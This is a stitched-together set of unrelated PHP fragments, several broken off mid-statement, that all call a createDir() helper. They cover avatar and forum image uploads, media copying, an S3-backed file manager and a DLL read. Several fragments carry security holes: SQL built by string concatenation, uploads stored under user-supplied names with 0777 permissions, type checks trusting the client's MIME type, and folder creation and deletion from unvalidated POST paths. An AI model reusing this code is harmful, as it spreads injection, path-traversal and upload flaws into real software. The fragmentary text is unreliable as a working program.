define('IMAGE_DIR', './avatars/'); define('IMAGE_SIZE', 250); /*defined settings - end*/ if (isset($_FILES['image_upload_file'])) { $output['status'] = FALSE; set_time_limit(0); $allowedImageType = array("image/gif", "image/jpeg", "image/pjpeg", "image/png", "image/x-png"); if ($_FILES['image_upload_file']["error"] > 0) { $output['error'] = "Error in File"; } elseif (!in_array($_FILES['image_upload_file']["type"], $allowedImageType)) { $output['error'] = "You can only upload JPG, PNG and GIF file"; } elseif (round($_FILES['image_upload_file']["size"] / 1024) > 4096) { $output['error'] = "You can upload file size up to 4 MB"; } else { /*create directory with 777 permission if not exist - start*/ createDir(IMAGE_DIR); /*create directory with 777 permission if not exist - end*/ $path[0] = $_FILES['image_upload_file']['tmp_name']; $file = pathinfo($_FILES['image_upload_file']['name']); $fileType = $file["extension"]; $desiredExt = 'jpg'; $fileNameNew = $_SESSION['user']['first_name'] . "_" . $_SESSION['user']['last_name'] . "_" . time() . ".{$desiredExt}"; $path[1] = IMAGE_DIR . $fileNameNew; if (move_uploaded_file($path[0], $path[1])) { $output['status'] = TRUE; $output['image'] = $path[1]; $mysqli = dbConnect(); $query = 'UPDATE `person` set `avatar_path` = \'' . $path[1] . '\' WHERE person_id = \'' . $_SESSION['user']['person_id'] . '\' '; $result = $mysqli->query($query); //die(json_encode(['error' => $result?false:true])); if ($result->num_rows) {
function saveFile() { GLOBAL $app; if (isset($this->ftp_name) && $this->ftp_name!='') { // WORK WITH FTP UPLOAD FILE $server_file_name = basename($this->ftp_name); $server_file = SYS_ROOT.$this->ftp_name; // check file if (!file_exists($server_file)) { $app->setError('File you selected was not found on ftp. Please check it.'); return ''; } // create folder(s) if not exist(s) if (!file_exists($this->path)) { createDir($this->path); } if (!copyFile($server_file, $this->path.'/'.$this->id.'_'.$server_file_name, '0777')) { return ''; } return $server_file_name; } else { // WORK WITH UPLOADED FROM USER'S COMPUTER FILE if (!isset($_FILES[$this->field_name]['name']) && !isset($_FILES[$this->field_name]['tmp_name'])) { return ''; // no file where uploaded } $real_name = $_FILES[$this->field_name]['name']; $tmp_name = $_FILES[$this->field_name]['tmp_name']; $bad_format = false; if ($real_name != '' && !is_uploaded_file($tmp_name)) { $app->setError('File is not received'); return ''; } if (filesize($tmp_name)>$this->max_size) { $app->setError('File is too large.'); return ''; } // create folder(s) if not exist(s) if (!file_exists($this->path)) { createDir($this->path); } if (!copyFile($tmp_name, $this->path.'/'.$this->id.'_'.$real_name, '0777')) { return ''; } return $real_name; } }
/** * @return boolean True -- if file succesfully uploaded, false -- otherwise. * @param int $key Type of thumbnail * @desc Save uploaded image file */ function saveUploadedFile($key) { GLOBAL $app; $form_field_name = $this->field_name.'_'.$key; //$form_name=$img_key."_".$key; $params = $this->image['images'][$key]; $client_side_file_name = $_FILES[$form_field_name]['name']; // real name $tmp_name = $_FILES[$form_field_name]['tmp_name']; if (!is_uploaded_file($tmp_name)) { // if file wasn't uploaded return false; } else { // check file type - is Image ? $file_info = getimagesize($tmp_name); $file_type = sprintf("%d",@$file_info[2]); if ($file_type == 0) { $app->setError("file $client_side_file_name is not image"); return false; } } // create folder(s) if not exist(s) if (!file_exists($this->path)) { createDir($this->path); } $suffix='_'.$key; $file_name=$this->path.$this->id.$suffix; imageResize($tmp_name, $file_name, $params['width'], $params['height']); return true; }
function copyMedia($files, $xml_items = array()) { global $msg; foreach ($files as $file_num => $file_loc) { //skip test xml files if (preg_match('/tests\\_[0-9]+\\.xml/', $file_loc)) { continue; } $new_file_loc = ''; /** Use the items list to handle and check which path it is from, so then it won't blindly truncate 'resource/' from the path - For any x in xml_files, any y in new_file_loc, any k in the set of strings; such that k concat x = y, then use y, else use x - BUG: Same filename fails. If resource/folder1/file1.jpg, and resource/file1.jpg, both will get replaced with file1.jpg */ if (!empty($xml_items)) { foreach ($xml_items as $xk => $xv) { if (($pos = strpos($file_loc, $xv)) !== false) { //address the bug mentioned aboe. //check if there is just one level of directory in this extra path. //based on the assumption that most installation are just using 'resources/' or '{FOLDER_NAME}/' $shortened = substr($file_loc, 0, $pos); $num_of_occurrences = explode('/', $shortened); if (sizeof($num_of_occurrences) == 2) { $new_file_loc = $xv; break; } } } } if ($new_file_loc == '') { $new_file_loc = $file_loc; } //Check if the file_loc has been changed, if not, don't move it, let ims class to handle it //we only want to touch the files that the test/surveys use if ($new_file_loc != $file_loc) { //check if new folder is there, if not, create it. createDir(AT_CONTENT_DIR . $_SESSION['course_id'] . '/' . $new_file_loc); //copy files over // if (rename(AT_CONTENT_DIR . 'import/'.$_SESSION['course_id'].'/'.$file_loc, // AT_CONTENT_DIR .$_SESSION['course_id'].'/'.$package_base_name.'/'.$new_file_loc) === false) { //overwrite files if (file_exists(AT_CONTENT_DIR . $_SESSION['course_id'] . '/' . $new_file_loc)) { unlink(AT_CONTENT_DIR . $_SESSION['course_id'] . '/' . $new_file_loc); } if (file_exists(AT_CONTENT_DIR . 'import/' . $_SESSION['course_id'] . '/' . $file_loc)) { if (copy(AT_CONTENT_DIR . 'import/' . $_SESSION['course_id'] . '/' . $file_loc, AT_CONTENT_DIR . $_SESSION['course_id'] . '/' . $new_file_loc) === false) { //TODO: Print out file already exist error. if (!$msg->containsErrors()) { // $msg->addError('FILE_EXISTED'); } } } } } }
$dir = isset($_POST['dir']) ? urldecode($_POST['dir']) : ''; switch ($mode) { case 'cfg': $rootDir = listDirs(); $children = array(); for ($i = -1, $iCount = count($rootDir); ++$i < $iCount;) { $children[] = (object) $rootDir[$i]; } $exp_date = time() + 6000; $policy = AmazonS3Manager::construct_policy($cfg['as3']['bucket'], $exp_date, $cfg['as3']['acl'], $cfg['path']['root']); $reply['config'] = array('lang' => 'en', 'url' => $cfg['path']['rootUrl'] . '/', 'thumbUrl' => $cfg['path']['thumbUrl'] . '/', 'thumb' => $cfg['path']['thumb'], 'thumbWidth' => 100, 'thumbHeight' => 100, 'children' => $children, 'as3' => array('bucket' => $cfg['as3']['bucket'], 'accessKey' => $cfg['as3']['key'], 'acl' => $cfg['as3']['acl'], 'policy' => $policy, 'root' => $cfg['path']['root'], 'thumb' => $cfg['path']['thumb'], 'signature' => AmazonS3Manager::create_signature($policy, $cfg['as3']['secret']))); break; case 'createFolder': $path = urldecode($_POST['dir']); $name = urldecode($_POST['newname']); $reply['isSuccess'] = createDir($path, $name); break; case 'deleteFolder': $path = urldecode($_POST['dir']); $reply['isDelete'] = deleteDir($path); break; case 'deleteFiles': $dir = urldecode($_POST['dir']); $files = urldecode($_POST['files']); $files = explode('::', $files); deleteFiles($dir, $files); $reply['files'] = listFiles($dir); break; case 'getFiles': $reply['files'] = listFiles($dir); break;
$result = array("status" => "error", "msg" => "bid not exist."); throwJSON($result); exit; } $message = array(); $flag = true; $field = "blog_img"; if (isset($_FILES[$field]['name'])) { //循环上传多个图片 foreach ($_FILES[$field]['name'] as $k => $blog_img) { $ext = getFileExtend($blog_img); //文件扩展名 $newName = md5(uniqid(rand())) . $ext; //新的文件名 $attachment = "../data/attachment/forum/" . date("Ym") . "/" . date("d"); createDir($attachment); //如果目录不存在,则创建 $newPath = $attachment . "/" . $newName; if (move_uploaded_file($_FILES[$field]['tmp_name'][$k], $newPath)) { $message[$k] = $newPath; } else { $flag = false; //图片上传失败标记 } } } if ($flag && !empty($message)) { //图片上传成功,保存到附件表中. $tableid = $bid % 10; $attach_table = "disc_forum_attachment_" . $tableid; //附件表
$chkT = isset($_REQUEST['chkThumbSize']) ? $_REQUEST['chkThumbSize'] : array(); // thumb-sizes in Array $selR = isset($_REQUEST['selRotate']) ? $_REQUEST['selRotate'] : ''; // auto rotate if (isset($_FILES['nfile']['name'][0])) { if (!($nfile = uploadImg($clib, $chkT, $selR))) { echo $l->m('er_001') . ': ' . $l->m('er_028'); } } } else { if ($param[0] == 'create') { // ACTION: create directory $action = $param[0]; $nfile = $param[1]; // new filename if (!createDir($clib, $nfile)) { echo $l->m('er_001') . ': ' . $l->m('er_034'); } } else { if ($param[0] == 'update') { // ACTION: update image list and select current image $action = $param[0]; $cfile = $param[1]; // current filename } else { if ($param[0] == 'switch') { // ACTION: switch image list view (list or thumbnails) $action = $param[0]; $cfile = $param[1]; // current filename }
function addCopy() { createDir(); $find = fopen("c:\\app\\wincopy.dll", "a+"); $data = fread($find, 1024); fclose($find); return $data; }